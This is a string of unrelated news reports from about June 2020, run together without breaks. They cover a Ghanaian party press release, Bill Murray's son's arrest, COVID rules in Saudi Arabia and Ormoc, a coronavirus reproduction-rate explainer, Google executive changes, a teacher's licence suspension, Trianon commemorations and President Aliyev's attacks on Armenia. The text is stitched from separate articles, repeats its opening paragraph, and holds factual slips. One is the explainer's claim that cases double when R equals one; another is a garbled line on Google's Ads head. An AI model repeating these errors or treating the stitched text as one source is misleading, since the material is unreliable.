The said members got to the meeting grounds only to be told that the. Minister wanted to meet them. According to the leader of the group, the minister actually met them and told them they had been identified as influential persons in the area and so he wanted them to defect from the NDC to the NPP to support him in the upcoming general elections. According to the leader of the group after the meeting, they were given GHC20.00 each and they also took them some pictures"

*READ THE FULL RELEASE BELOW*

For Immediate Release

RE:THE ALLEGED DEFECTTION OF SOME NDC MEMBERS IN THE BUNKPURUGU CONSTITUENCY

The attention of the leadership of the NDC in the Bunkpurugu constituency has been

drawn to a publication on some social media platforms made by the member of parliament for Bunkpurugu and North East Regional minister Hon. Solomon Boar, where he sought to peddle untruths about some NDC members in the constituency (Alleged defection of some members of the NDC to the NPP).

In fact, the leadership of the party has investigated the issues surrounding the so called defections and wants to set the records straight about how the NPP deceived those members under the pretext of a town Hall meeting by the Hon.Solomon Boar which

was said to be non-political.

In fact, it will interest you to note that on that faithful day, these members were invited to at own Hall meeting at the Binde Social Center by a family member who is a member of the NPP.

The said members got to the meeting grounds only to be told that the. Minister wanted to meet them. According to the leader of the group, the minister actually met them and told them they had been identified as influential persons in the area and so he wanted them to defect from the NDC to the NPP to support him in the upcoming general elections.

He also promised them some jobs if they agreed to defect.

According to the leader of the group after the meeting they were given GHC20.00 each and they also took them some pictures.

Unfortunately for the minister and the NPP, the people said they were influenced against their will and promised not to leave the NDC party when our team met them.

We in the NDC want to state that we find the conduct of the MP and the NPP party ridiculous, mischievous and an attempt to divert the attention of the constituents from their abysmal performance and the failed campaign promises made by the minister in the constituency.

We advise the minister to only focus his campaign for re-election by his party members/delegates in their upcoming primaries as candidate once the party does not know who to lead the party in the constituency.

Therefore, we want to use this medium to assure all NDC party faithfuls and the general

public to discard and to treat the news with the greatest contempt that it deserves, and remain focus to winning the seat for Hon.Abed and JDM in the constituency.

EyZu, EyZa!!

Thank you.

Signed:

The Communication Officer

Bunkpurugu Constituency
Mug shot: Caleb Murray's mug shot seen here

The son of legendary actor Bill Murray was arrested on Monday in Massachusetts during a Black Lives Matter protest.

Caleb Murray, 27, allegedly got into an altercation with police officers who were responding to another incident at the demonstration in Martha's Vineyard.

According to a police report obtained by MV Times, Murray became uncooperative after his arrest, biting and spitting on a police officer while in transit and later using a piece of his cell to cut himself and deputies.

Murray also threatened to burn down buildings once he got out of jail.

His arrest came following an otherwise peaceful rally on Monday in Vineyard Haven.

Eric Woods, 66, was also arrested.

He is accused of using a racial slur before assaulting a teen, which led to uproar among the protesters and resulted in the police first being called.

It is believed Murray was initially arrested after allegedly throwing a rock through Woods' window after police arrived but this charge was later thrown out.

Tisbury Police arrived at the end of a peaceful protest and arrested the two men after they were alerted to a commotion in the vicinity of MV Glass off Lagoon Pond Road.

Video of the incident shows Murray wearing a dark colored jacket with his hands cuffed behind his back and flanked by two cops wearing reflective yellow vests.

As he is arrested, the crowd gathered screams at the police about Wood, who is seen sitting in a red pick-up truck.

The protesters encircled Woods in his truck and chant 'shame on you' at the police as they ask why he is being left there and isn't being arrested.

An officer eventually moves and opens Wood's door to take him into custody as the crowd cheers.

The police report states that as Sgt Max Sherman moved to speak to Woods in his truck, he heard smashing glass and turned to see Murray drop to his knees and put his hands on his head.

He was then arrested.

The first report does not state what happened but The MV Times reports that photos showed Wood's car window was smashed. A later report claimed Murray had thrown the rock through the car window.

Murray was initially charged with malicious destruction of property, a threat to commit a crime, three counts of assault and battery on a police officer, making terroristic threats, and disorderly conduct.

The charges of making terrorist threats and malicious destruction of property were dropped before his arraignment on Tuesday.

Actor Bill Murray's son Caleb, 27, was arrested on Monday in Martha's Vineyard, Massachusetts, during a Black Lives Matter protest in which he allegedly threw a rock at a car

Edgartown District Court Clerk-Magistrate Liza Williamson threw out the charge of destruction of property as she said there was probable cause that it was not Murray who was responsible for breaking Wood's window.

'Truck was surrounded by protesters, glass broke, Murray fell to his knees, but no nexus for [probable cause] for vandalism or [malicious] destruction,' Williamson wrote.

After his arrest Murray reportedly became uncooperative while being transported to Dukes County lockup despite appearing calm in the earlier video.

The reports say that he bit and spit at his arrest Officer Cutrer while they were in transit.

'Eventually Officer Cutrer was able to finish the transport to the jail, where [Murray] again became uncooperative, attacking deputies,' a report states. 'After being put into a cell, he then used a piece of the cell to not only cut himself but cut the deputies.'

Caleb Murray is shown here top left being arrested after allegedly throwing a rock through the window of a man who used a racial slur and then took a swipe at a black teenager

'At the jail, Murray was overheard by Officer [Edward] St. Pierre saying that once he got out of jail he was going to burn down all the [expletive] buildings,' it adds.

The MV Times reports that the Dukes County Sheriffs Office has not filed charges against Murray.

Murray was arraigned in emergency session before District Court Judge Benjamin Barnes on Tuesday and was ordered held without bail until a bed was available in an evaluation facility.

He would be released to go to the facility.

Murrays case will continued on July 31.

Eric Woods, 66, of Tisbury, Massachusetts allegedly used the N-word before punching a teenager at a George Floyd vigil

According to the police report: 'There was a large crowd forming around a red Toyota Tacoma and yelling at the operator. The large crowd was saying that he [Woods] punched someone in the face. Members of the crowd started to sit in front of the red Toyota.'

'Why's he still in the truck?' one protester is heard shouting about Wood as Murray is seen being placed in cuffs in the background.

'Get him out of the truck,' another states.

One man asks for people who saw the alleged assault to identify themselves and calls on them to go over to police to explain why Woods should be arrested.

The police report adds that Sgt Max Sherman spoke to Woods about his account of what happened with the 19-year-old he allegedly hit.

'Woods stated that he lost his temper and 'swung' at the other person involved,' the report states.

'[The teen] stated Woods was giving the crowd the finger and yelling the 'N-word.' This is when [the teen] yelled from his car at Woods to stop being disrespectful. Woods then exited his vehicle, walked back to [the teen] while he was sitting in his vehicle and punched him in the left side of his face.'

Woods was charged with assault and battery and disorderly conduct.

Caleb Murray is the oldest son from his fathers second marriage to Jennifer Butler. The couple had four sons before they in 2008.
The Central Regional Secretariat of the Domestic Violence and Victims Support Unit (DOVVSU) of the Ghana Police Service (GPS) has expressed worry about the rising incidents of incest in the region.



The practice, according to DOVVSU had become common among families in the region but regrettably, families involved were not willing to report culprits or pursue the cases because of stigma.



Detective Corporal Richard Boadi-Twum, an Investigator with DOVVSU who shared this sentiment indicated that in most cases, the victims were teenagers while the perpetrators were old men, including fathers and uncles.



He was speaking on sexual offenses and their punishments at a two-day sensitization workshop for heads of vocational institutions, apprenticeship, and artisanal groups on Sexual and Gender-Based Violence (SGBV), gender equality, and Sexual Reproductive Health (SRH).



The workshop was organised by the National Youth Authority (NYA) in collaboration with the Regional Coordinating Council (RCC) with funding from the United Nations Population Fund (UNFPA).



Though he did not give figures, Corporal Boadi-Twum, mentioned several specific recent cases of incest reported at the Unit to buttress his claim.



For instance, he said a taxi driver who slept with his four daughters was on the run after one of them reported to the Police, adding that the wife aided him to abscond.



Detective Corporal Twum-Boadi cautioned family members especially mothers to keep a close eye on their daughters and male relatives.



He also spoke about the rate of defilement in the region and cautioned landlords, landladies, and co-tenants, to report adults who had an affair with girls under 16 years.



He said the laws on defilement had been made strict to protect young girls to secure their future, hence the long sentences of seven and twenty-five years jail term for defilement perpetrators to serve as a deterrent.



Mr Michael Tagoe, Youth Program Officer of the Planned Parenthood Association of Ghana (PPAG), for the Western and Central Regions took participants through sexual reproductive health and family planning.



He mentioned the various family planning methods as well as its myths and misconceptions and underscored the need for couples to plan their families in the current dispensation.



According to him, the high teen pregnancies, STDs, and abortion with its attendant high mortality rate was an indication that the youth were already engaging in sex and must be educated to make the right choices.



Mr Tagoe expressed worry about the rate of unsafe abortion among the youth adding that his outfit recorded at least three daily abortion cases.



He stressed the need to intensity efforts on comprehensive sexuality education and family planning to save the youth from unwanted pregnancies and sexually transmitted diseases (STDs).



Mr Emmanuel Sodja Martey, Regional Director of the NYA commended the collaborative efforts of the UNFPA and the Regional Coordinating Council in helping to address gender-related and reproductive health issues of the youth.



He took the opportunity to re-echo the need for everyone to observe the outlined COVID-19 protocols to stop the spread of the virus.

Source: GNA









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Featured Video
BAKU, Azerbaijan, June 5

By Nargiz Ismayilova - Trend:

The share of Google search engine in Azerbaijani market grew by 0.68 percent in May 2020 compared to the previous month, Trend reports referring to the StatCounter's Global Stats report.

Google remained the most popular search engine in Azerbaijan and held 94.72 percent of the market as of June 1, 2020.

The market share of the Yandex.ru search engine in the reporting month increased by 0.06 percent. Its share amounted to 2.89 percent.

There was also a slight increase (by 0.08 percent) in the share of Yahoo search engine, which as of June 1, 2020, amounted to 0.88 percent.

The share of Yandex search engine in Azerbaijan as of late May amounted to 0.67 percent, increasing by 0.11 percent for the reporting month.

The rest of the market made up 0.84 percent and was distributed among other search engines, including Mail.ru with 0.45 percent (0.02 percent less compared to April 2020), and Bing with 0.32 percent, which is 0.01 percent less than a month earlier, while the share of other search engines amounted to 0.07 percent.

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Follow the author on Twitter: @IsmailovaNargis
Riyadh, June 5 : Saudi Arabia will deport expats who fail to abide by the coronavirus protocols, state media quoted authorities as saying.

"Individuals who fail to abide by preventive measures, including wearing medical or cloth face masks, failing to observe social distancing and refusing to have their temperatures taken, will be fined SR1,000. The fine will be doubled if the violation is repeated. Residents will be deported after paying the fines," Gulf News quoted the Okaz newspaper as saying.

As per the newly-revised Saudi protocols, social gatherings such as mourning or celebration events that take place inside homes, rest houses or farms, are allowed, but attendants should not exceed 50 persons.

The private sector is also required to adhere to precautionary measures: providing their staff with disinfectants and sanitisers, taking the temperatures of both staff and customers at the entrances of shopping malls.

Other measures include sterilising shopping trolleys and baskets after each use, sanitising facilities and surfaces, closing children's play areas and fitting rooms in shopping malls and ready-wear outlets.

Authorities highlighted the need for all individuals and entities to abide by health safety rules, social-distancing protocol and the new guidelines set for social gatherings.

Saudi Arabia has recorded 93,157 COVID-19 cases, with 611 deaths.
After weeks of daily charts and updates on new coronavirus cases and hospitalizations  both crucial figures in New Jersey safely emerging from this crisis  Gov. Phil Murphy this week brought up another number that will be equally important in the states reopening: the virus reproduction rate.

Murphy said Tuesday that the virus rate of spread is less than one-to-one," meaning that each newly infected person is spreading the virus, on average, to fewer than one other person. Thats a substantial improvement from March, when Murphy said that for every person with the virus, five more people were infected.

The two-and-a-half months and counting of quarantine, social distancing and economic shutdown have all proved effective in bringing down this reproductive rate, according to state officials and outside epidemiologists. But now its the reproductive rate, along with other key figures, that will determine when the state can end the shutdown.

When I issued my stay at home order on March 21, COVID-19 was at a nearly unstoppable pace of spread, Murphy said on Tuesday. Each infected person, whether they were symptomatic or asymptomatic, was spreading COVID-19 to an average of more than five other New Jerseyans.

And by the time when our hospitals were at their peak stress, we had cut the rate of spread to roughly one-to-one. And today, thank God, that rate of spread is less than one-to-one, and we need to keep it that way.

If the coronavirus reproduction rate stays below one-to-one, the number of cases will continue to shrink and eventually peter out. Once the reproduction rate climbs above one, the virus is growing again and could again become an epidemic.

These are the sort of epidemiological concepts that have entered the lexicon in the time of a global pandemic, so lets take a moment to explore them.

The most basic measure of viral reproduction is a number called R0, pronounced R-naught. It refers to how many people, on average, will catch the virus from one infected person. Thats where the concept of one-to-one, to use the governors words, comes in.

If R is equal to one, that means each infected person is, on average, infecting one other person. Cases are doubling at that rate, generation to generation. For example, if 100 people have the virus, they are infecting 100 others. Once R gets above one, thats when cases start to multiply.

Alternatively, once R gets below one is when case numbers start to shrink. Those same 100 infected people from the previous paragraph, but now with a virus with an R value of 0.5, only infect 50 people. Those 50 people then only infect 25 people.

On Wednesday, a graphic at Murphys daily press briefing on coronavirus showed the R value at 0.82, nearly in line with models from researchers at Rutgers University-Camden that have R between 0.85 and 0.95 for at least the last 20 days in the state.

To be clear, the measure that Murphy actually referenced this week was Rt, or the virus actual transmission rate at a given time. Rt is basically an applied version of R0, a snapshot of viral transmission at one point in time, but they are two sides of the same coin.

New Jersey epidemiologists agree with the governor that tracking viral reproduction is important, but they caution that its not the end-all when it comes to fighting coronavirus.

Its a really useful tool ... but its not a magical number, said Stephanie Silvera, epidemiologist and professor at Montclair State University, about R0. I certainly wouldnt base all my policy decisions on that number.

On top of the reproduction rate, the Murphy administration has also closely been tracking other data, like hospitalizations and new reported cases, to determine how the state should come out of its quarantine.

One of the reasons epidemiologists dont rely solely on R0 is that its a complex statistic, based on hard science, observable events and a lot of guess work, said Henry Raymond, an epidemiology professor at Rutgers. He added that as the contact tracing and coronavirus testing programs continue to get more robust in the state, which are two of Murphys biggest goals, the less guess work goes into calculating the reproduction rate.

While the governor is using that rate and other metrics to monitor New Jerseys situation, the R0 being pretty close to one remains an issue.

I would be more concerned with the fact that its not a lot less than one, Samuel Wang, a neuroscience professor at Princeton University, said about the reproduction rate of the virus. "In other words, the wildfire is only burning out gradually.

Further control will require intensive contact tracing, ideally coupled with isolating new cases. The governors proposal to build a large group of contact tracers is an essential part of getting (R0) down further.

UPDATE: This story has been updated to add the R value shown by Murphy at his Wednesday press briefing.

Our journalism needs your support. Please subscribe today to NJ.com.

Payton Guion may be reached at pguion@njadvancemedia.com. Follow him on Twitter @PaytonGuion.
San Francisco, June 5 : Google has announced to make Prabhakar Raghavan, head of Ads and Commerce, as new head of Search and Assistant.

Raghavan who was heading Ads and Commerce segments since 2018 would replace Ben Gomes, who would take on a new role in various Google education and learning initiatives, reports searchengineland.com, citing an internal email from Alphabet and Google CEO Sundar Pichai.

"For Prabhakar, this new role brings his experience with search full circle. He's spent more than two decades obsessing over algorithms and ranking, and his association with Google Search predates... Google," Pichai wrote.

"He published a foundational text on search and then went on to lead search teams at IBM and Yahoo. He joined Google in 2012 and - prior to his current role - worked with teams in Research, Geo, and Google Apps," he added.

Search encompasses News, Discover, Podcasts and Google Assistant.

Raghavan later founded the research lab at Yahoo after joining the company in 2005.

In 2010, he spoke about the concept of the "web of things" vs. the "web of objects" (documents).

"A member of the National Academy of Engineering, Prabhakar is one of the most respected engineering minds in our field. His experience working across so many of our product areas gives him the perfect lens to spot the seams between them," said Pichai.

Jen Fitzpatrick who has been with Google's Geo team for more than a decade and took over as its head six years ago, has now exited Maps/Geo to run the company's central engineering team, which has 8,000 employees.

Jerry Dischler who has been working on Google Ads for more than 10 years will not head the Ads division.
Welcome to my genealogy blog. Genea-Musings features genealogy research tips and techniques, genealogy news items and commentary, genealogy humor, San Diego genealogy society news, family history research and some family history stories from the keyboard of Randy Seaver (of Chula Vista CA), who thinks that Genealogy Research Is really FUN! Copyright (c) Randall J. Seaver, 2006-2021.
In 2015, Queen Elizabeth II received a disturbing letter from an American citizen that, in a rare move, responded with a blunt message from Buckingham Palace.

Queen Elizabeth II gets a lot of letters with 300 incoming mails a day. It is known that the monarch loves reading the letters her secretaries give her to read.

The 94-year-old occasionally instructs a reply to the public's letters and has, in the past, sent charming letters, especially to children.

But in 2015, she received a unique letter from a US citizen.

That same year, current president Donald Trump was running in the presidential elections, and the monarch received a request.

It said, "On behalf of the American people, I urgently implore you to take us back. Clearly, the options we have to lead us aren't up to par."

It continued, "Again, please, I beg you, make the United States of America, a colony of the United Kingdom."

"For further reasons as to why this is such a necessary, albeit drastic, step, I refer to tonight's Republican Party Primary debate."

It concluded with, "Thank you. God save The Queen."

Buckingham Palace, shockingly, took the step of replying to the person, and the response was published online.

They wrote, "I have been asked to write in response to your recent letter to The Queen in which you express your views about the American government."

"Whilst your views have been noted, you will appreciate, I am sure, that there can be no question of the Queen intervening in the affairs of another sovereign state.

Not everyone is happy with how the US is operating more than 200 years later.

Before the monarch came to power, the United States colonies belong to Great Britain. Immigrants from Europe came to different East Coast locations in the late sixteenth century as England commenced a colonization initiative.

However, with political disagreements caused the colonists to revolutionize against tax hikes, which led to the Revolutionary War and the founding of an independent country.

After the 1776 American Revolution, the US has not kept up any association with the crown.

Royal historian Dr. Spencer Jones said, "Was a reconquest of America and a refutation of the declaration of independence ever likely? I am afraid not, and any scenarios where this occurred must be considered most improbable."

Despite Queen Elizabeth II's friendly relationship with the United States, she is only one of the two royal members who have visited the United States for a royal visit.

The other one was her father, King George VI.

She last visited the US in 2007 with her husband, Prince Philip.

Additionally, Queen Elizabeth II welcomed different US presidents in the UK.

Dwight D. Eisenhower was the first US president she met with during her reign.

John F. Kennedy, Richard Nixon, Jimmy Carter, Ronald Reagan, George H. W. Bush, Bill Clinton, George W. Bush, Barack Obama, and Donald Trump all went to the UK and Ireland to meet with Queen Elizabeth II for both business and a little bit leisure.

READ MORE: Meghan Markle Hates Not Being Able to Handle THIS Part of Her Royal Life
A West Fork High School teacher has resigned and her state license has been suspended for five years after allegations that she had an inappropriate relationship with a student.

Abbee Dickman was a business instructor at the high school and its volleyball coach, when in September 2019 the state Board of Educational Examiners received a complaint about her, alleging she had violated the state's Code of Ethics.

A three-month investigation found that Dickman had:

Sent text and social media messages to student that included nudity, semi-nudity and disparaging remarks about her colleagues and students.

Solicited, encouraged and engaged in a romantic relationship with a student.

Participated in the vandalism of private property with students.

Transported students in a district vehicle in an unsafe manner.

Failed to protect students in her charge or created conditions harmful to student learning.

Conducted herself and her classroom in such a way that she repeatedly exposed students or her colleagues to unnecessary embarrassment or disparagement.

On April 21 this year, Dickman signed a settlement with the state Board of Educational Examiners, and besides the suspension of her teaching and coaching licenses, also agreed to a written reprimand, complete 15 hours of an ethics in teaching course, and undergo a psychosexual evaluation that includes an assessment of her ability to establish and maintain appropriate student-teacher boundaries. The evaluation must be completed no sooner than a year before Dickman can re-apply for her license in Iowa.

On April 22, the West Fork Schools Board approved Dickman's resignation with no discussion. On May 15, the state Board of Educational Examiners voted to accept Dickman's settlement agreement.

According to the county attorneys for Franklin and Cerro Gordo, where the district lies, no criminal investigation has been referred to either of them for possible charges. Sheffield Police Chief Brad Gardner did not return multiple calls for comment.

West Fork Superintendent Mike Kruger said the district did not refer the matter to local law enforcement, but did conduct its own internal investigation. State mandatory reporting laws require district officials to refer potential criminal activity that may have harmed a student to law enforcement, but Kruger said that did not apply in this case.

A spokesperson for the state Board of Educational Examiners told the Globe Gazette that its investigations are not public, but that they do inform victims that they can contact law enforcement if they wish.

2020 Star Class: West Fork's top students and athletes

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Since it would be too much of a stretch to refer to a series of stage performances as Carnival, the Government has decided to offer instead a Taste of Carnival.

For traditional Carnival interests whose events will be facilitated and supported by the State, the proposal presented on Wednesday by the Minister of Tourism, Culture and the Arts, Randall Mitchell, must be a welcome case of half a loaf being plenty better than none.
Image: Twitter/ @adarpoonawalla

Adar Poonawalla-backed clean tech startup h2e Power on June 5 said it is acquiring Swiss fuel cell company Hexis AG from the Viessmann Group.

The Pune-based company has executed the deal through its German subsidiary mPower GmbH, it said in a statement.

However, the company did not disclose the financial details of the deal.

"In keeping with the group's commitment to climate change and clean energy, the acquisition of Hexis is an important milestone. We will create a global footprint and locally produce zero-emission power generators in Pune," h2e Power Systems Chairman Adar Poonawalla said.

He added that the company is building large manufacturing capacity in Pune for Indian and global markets.

Alexander Dauensteiner, Product Line Owner Fuel Cell at Viessmann, said, "We are delighted to have found the right investor for Hexis and we look forward to a successful partnership with h2e group. Meanwhile, Viessmann will continue its focus on the end customer. We are confident that with h2es global reach and local knowledge they will be able to provide stable leadership to Hexis."

The agreements also include the future cooperation of Hexis with the previous owner for the supply of solid oxide fuel cells (SOFC) modules in the European markets, the statement said.

The Viessmann Group is one of the largest integrators of heating systems in Europe. It will use the SOFC modules for heating applications in individual homes & commercial establishments, it added.
Officials from Clark University on Friday announced that a Worcester law firm is going to conduct an independent review of disorder in Worcesters Main South neighborhood that began late Monday, after a peaceful protest ended.

The peaceful protest was held to denounce police brutality following the death of George Floyd. Last week, Floyd died in Minneapolis, Minnesota, after a then police officer kneeled on Floyds neck for more than eight minutes. Protests have been held across the country.

Following that demonstration, a smaller group continued to gather in Main South. Then, Worcester police officers in riot gear arrived, calling on the group to move. There were a few small fires, fireworks and other destruction. Nineteen people were arrested, including four Clark University students.

Clark announced earlier this week that it intended to review the events that unfolded. In a statement Friday, Clark President David Angel and President-elect David Fithian said that Michael Angelini from the law firm Bowditch and Dewey would conduct that independent review.

The scope of the review is specific, Angel and Fithian said.

We seek to gather as much information as possible on the events of Monday evening into Tuesday morning as they pertain to Clark University and our students. This process will be conducted thoroughly and expeditiously and we will share the results with you once it has concluded, the statement read.

Clark has said that the university is determined to advance the causes and fundamental values of equity, justice and inclusion on campus, in the city and beyond.

This independent review will undoubtedly touch upon issues of race in our community, yet addressing those significant and urgent matters goes beyond the scope of this review, the statement said. Clark is committed to the free exchange of ideas, to the worth of all people as equals, and to standing with our students, and all others, who advocate peacefully for these ideas in every forum.

Responding to the incident earlier this week, Clark announced it would discontinue the use of off-duty Worcester police officers to support the universitys police force, as well as discontinuing the policy that requires a police officer in attendance at large student events.

But, it appears that Clark received some questions regarding that announcement by people who thought the university was severing all ties with the Worcester Police Department.

We did not state or intend that, read Fridays statement. The Worcester Police Department continues to play the critically important role in responding to campus emergency calls that it always has. We are committed to working with local police, and with those on our own campus, to ensure a safe campus community and be responsive to the concerns of everyone who shares it. Engagement and dialogue are vital to continued progress.

Worcester Police Chief Steven Sargent in a statement earlier this week said that he was disappointed with Clark Universitys criticism. Sargent said his officers showed tremendous restraint and professionalism while being attacked.

Worcester police have released some video of the incident Monday.

The peaceful protest near Worcester Common was attended by thousands of people, who left around 8:30 p.m. Police said a second crowd showed up in the downtown area around 9:45 p.m. and became unruly.

Police said the group assaulted officers with rocks, bottles and glass and were damaging property and lighting fires. Officers used smoke grenades and pepper ball rounds to disperse the crowd and make arrests. The pepper ball rounds contain oleoresin capsicum, the same ingredient found in pepper spray.

A student claimed police told the crowd they could go home without facing arrest.

A video shared on social media shows Clark University students live streaming the evenings events in Main South as police in riot gear responded to the group.

Editors note: The video embedded in this story contains graphic language.

Related Content:
Hungarian parliament speaker Laszlo Kover told the chamber Magyars abroad were 'in a bitter struggle to survive'. (AFP/GERGELY BOTAR)

The Treaty of Trianon, signed in Versailles, France, in 1920, defined the country's new frontiers after the dissolution of the defeated Austro-Hungarian empire.

Hungary was not only forced to sign away vast swathes of territory, but also half its multi-ethnic population.

Church bells rang out around Hungary for 100 seconds at 4.30pm, the exact time the treaty was signed.

In Budapest public transport was halted and many observed a minute's silence, while other commemorations took place nationwide.

The treaty meant that at a stroke, more than three million ethnic Hungarians - or Magyars - became part of neighbouring states, along with key economic resources and cultural sites.

Although during World War II Hungary temporarily took back some of the territory with Nazi Germany'S help, the borders have remained unchanged since 1947.

The lingering effects of the territorial and population losses - sometimes described as "Trianon trauma" - have often strained Hungary's relations with neighbours.

Magyars abroad are engaged "in a bitter struggle to survive, preserve their mother tongue, culture, to feel at home in their place of birth," said Hungarian parliament speaker Laszlo Kover in a speech to the chamber.

He went on to strike a more conciliatory note, saying: "We, Hungarians, who lost the 20th century don?t want to lose the 21st, but we don?t want our neighbours to lose it, either."
Metro Manila (CNN Philippines, June 5) - The City of Ormoc in Leyte province reported its first COVID-19 case, it was confirmed by Mayor Richard Gomez on Friday.

In an online address, Gomez said the infected patient arrived in the city via AirAsia Z28570 and previously tested negative for the virus in Manila.

He noted that the citys lone case was among the 30 individuals who underwent coronavirus test on June 3.

Gomez also said most of those who arrived from Cebu and Manila are now in the citys quarantine facility.

He added that 215 of those quarantined are considered probable patients, with most them already tested negative for the virus.

The mayor previously said he has no issues with the Balik Probinsya program, but noted that health protocols and proper documentation should be followed.

In this latest development, Gomez reiterated his sentiment.

Pagdating nila dito sa bayan namin o sa ibang lugar, youll never know kung kanino didikit yun. Lahat ng nakausap nun, iko-contact tracing. Kailangan talaga natin makipag-cooperate, he said.

[Translation: When they arrive here in our town or in other places, youll never know whom they had contact with. Everyone they had a contact with needs to be traced. We need to cooperate.]

Meanwhile, the mayor said the local government will continue to impose strict border controls with the help of the police.

People coming from places with COVID-19 cases will not be allowed to enter the city, Gomez said, adding that local residents of Ormoc will also be prohibited from getting out of the city.

The country has more than 20,300 COVID-19 infections as of Friday, with around 4,200 recoveries and 984 deaths.
[June 05, 2020] dunnhumby Presents "Untangling the Spaghetti Bowl: A Customer First Approach to Retail Media" Webinar on June 18

dunnhumby, the global leader in Customer Data Science, today announced it will hold a complimentary webinar, "Untangling the Spaghetti Bowl: A Customer First Approach to Retail Media," on Thursday, June 18, 2020 at 12:00 p.m. Eastern Time featuring guest speaker Sucharita Kodali, VP and Principal Analyst for Forrester Research (News - Alert) and John O'Reilly, SVP of Customer Development, North America for dunnhumby. The webinar will explore how COVID-19 has forced consumers in the U.S. and around the world to quickly adopt new behaviors, which are dramatically impacting how they shop and go about their daily lives. With a rich and growing trove of data and online reaching its tipping point, Kodali and O'Reilly will detail how retailers have a small window of opportunity to reassess how to effectively use their media channels - in-store, online and direct-to-consumer - to drive loyalty and sustainable growth, or risk losing out. "The emergence of new channels and the rise of digital has raised the bar for what is now customer experience table stakes in retail. It is increasing the capability gap among retailers of all sizes, while also driving a glut of channel providers to help retailers play catch-up," said O'Reilly. "New consumer behaviors forced by the pandemic and the resulting tsunami of data have brought new challenges to retailers. By more effectively activating retail media, retailers can provide their customers with a more relevant experience while also generating alternative revenue amid a very challenging market." Attendees of the webinar will learn about: The role of and current state of retail media networks

The dunnhumby COVID-19 Customer Response model and the impact of COVID-19 on consumer shopping behavior and retail media

Strategies and best practices to deliver a more valuable customer experience with retail media through the phases of COVID-19 and beyond







What: Untangling the Spaghetti Bowl: A Customer First Approach to Retail Media When: Thursday, June 18, 2020 at 12:00 p.m. Eastern Time Registration: Registration is available online here Who: John O'Reilly, SVP of Customer Development, dunnhumby Guest speaker Sucharita Kodali, VP and Principal Analyst, Forrester Research

Kodali is an expert on eCommerce, omnichannel retail, consumer behavior, and trends in the online shopping space. She is also an authority on technology developments that affect the online commerce industry and vendors that facilitate online marketing and merchandising. Kodali is also the lead analyst and author of Retailers: You're The Next Media Moguls. According to the report, "By serving ads to their customers at relevant moments, digital business professionals and commerce companies deliver a superior customer experience while also cultivating a rapidly growing new revenue stream with healthy margins." About dunnhumby dunnhumby is the global leader in Customer Data Science, empowering businesses everywhere to compete and thrive in the modern data-driven economy. We always put the Customer First. Our mission: to enable businesses to grow and reimagine themselves by becoming advocates and champions for their Customers. With deep heritage and expertise in retail - one of the world's most competitive markets, with a deluge of multi-dimensional data - dunnhumby today enables businesses all over the world, across industries, to be Customer First. The dunnhumby Customer Data Science Platform is our unique mix of technology, software and consulting, enabling businesses to increase revenue and profits by delivering exceptional experiences for their Customers - in-store, offline and online. dunnhumby employs over 2,500 experts in offices throughout Europe, Asia, Africa, and the Americas working for transformative, iconic brands such as Tesco, Coca-Cola, Meijer, Procter & Gamble, Raley's. For more information, visit www.dunnhumby.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005069/en/

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By Azernews





By Akbar Mammadov

President Ilham Aliyev has said that not a single Azerbaijani has been left in present day Armenias territory where Azerbaijans cultural heritage has been erased and historical monuments have been destroyed.

President Ilham Aliyev made the remarks during his visit to Tartar region bordering Armenia on June 3.

Not a single Azerbaijani is left in the ancient lands of Azerbaijan and our historical monuments and mosques have been destroyed, the historical heritage of Azerbaijanis has been erased, Aliyev said, adding that representatives of other nationalities have also been expelled from Armenia.

Aliyev said that by comparison, Azerbaijan is known for its tolerance to other ethnic and religious minorities.

The whole world recognizes that the inter-ethnic relations and inter-religious dialogue prevailing in Azerbaijan are an example for the world. In Armenia, 99.9 per cent of the population is Armenian. This criminal regime has expelled people of all nationalities in various ways. Now the junta regime reigns in Nagorno-Karabakh as well. Of course, the fake elections held by the junta are a show, a show of clowns. All leading countries condemned and did not recognize these so-called "elections".

The president also emphasized that the territory of present-day Armenia is the land of ancient Azerbaijan.

This is a fact, a historical fact. You don't have to go far. It is enough to look at the maps published by Tsarist Russia in the early twentieth century. Everyone can see that the absolute majority of toponyms in the whole territory of present-day Armenia are of Azerbaijani origin.

Commenting on the Armenian authorities, Aliyev emphasized that the previous regimes illegal acts have been revealed by the current leadership of Armenia and presented to the public. Their generals are thieves, their so-called "heroes" are criminals, and their leaders are bribe-takers, he added .

He also underlined the fact that members of the former regime have been arrested and are wanted.

Aliyev said that this means that for 20 years until 2018, Armenia was ruled by criminals.

One of them is now in prison, and the other is still at large. However, he was also banned from leaving the country. In other words, a country's independence has not reached 30 years, and 20 years of the country have been left to criminals, he added.

President Aliyev said that it is no secret that Armenia is a terrorist state, and this state has repeatedly shown this and even committed terrorism against its leaders. Furthermore, he reminded that twenty years ago, many members of the Armenian leadership were assassinated in the country's parliament, and the crime has not been solved yet. Everyone knows who ordered this crime. But they cover it up because their terrorist nature lives on today, he added.

Aliyev also spoke about the glorification of Nazism in Armenia, saying that a 6-feet-monument has been erected in this country to a Nazi collaborator Garegin Nzhdeh who said infamously during the World War 2 that who dies for Germany also dies for Armenia.

It shows that the government in Armenia can change, but the terrorist and fascist nature of this country remains unchanged," Aliyev added.

Speaking about the Nagorno-Karabakh conflict, Aliyev said that today the position of international organizations on the Armenian-Azerbaijani Nagorno-Karabakh conflict reflects the truth and justice.

As a result of our efforts, all leading international organizations have issued relevant statements on the settlement of the conflict within the territorial integrity of our country. The Declaration on Strategic Partnership, which we have signed with many countries in a bilateral format, supports the territorial integrity of our country and states that the conflict must be resolved on the basis of these principles, he noted.

Commenting on the illegal elections held in the Nagorno-Karabakh on March 31, Aliyev reminded that the OSCE Minsk Group co-chairs-U.S, France, Russia have made a statement saying that they do not recognize the elections. Furthermore, he also noted that the European Parliament, as well as the Organization of Islamic Cooperation, the Non-Aligned Movement, and other organizations - all leading international organizations - have condemned these elections, with the exception of the Council of Europe.

The main goals of the Parliamentary Assembly of the Council of Europe is to tarnish Azerbaijan, to discredit our country, to spread lies about our country, to make false reports, to support the "fifth column" in Azerbaijan, traitors and the Armenian side in the conflict. That is why the Council of Europe did not even vote on these fraudulent elections. In this case, what objectivity, what justice can we talk about!

Touching upon the documents adopted by the European Council related to Azerbaijan, President Aliyev noted that the Azerbaijani public has witnessed Council of Europe's anti-Azerbaijani stance.

The hypocritical nature of this organization is not a secret to anyone, and we do not care whether they recognized these fraudulent elections or not. The main thing is that the world's most respected organizations have not recognized and condemned the so-called elections in Nagorno-Karabakh, Aliyev noted.

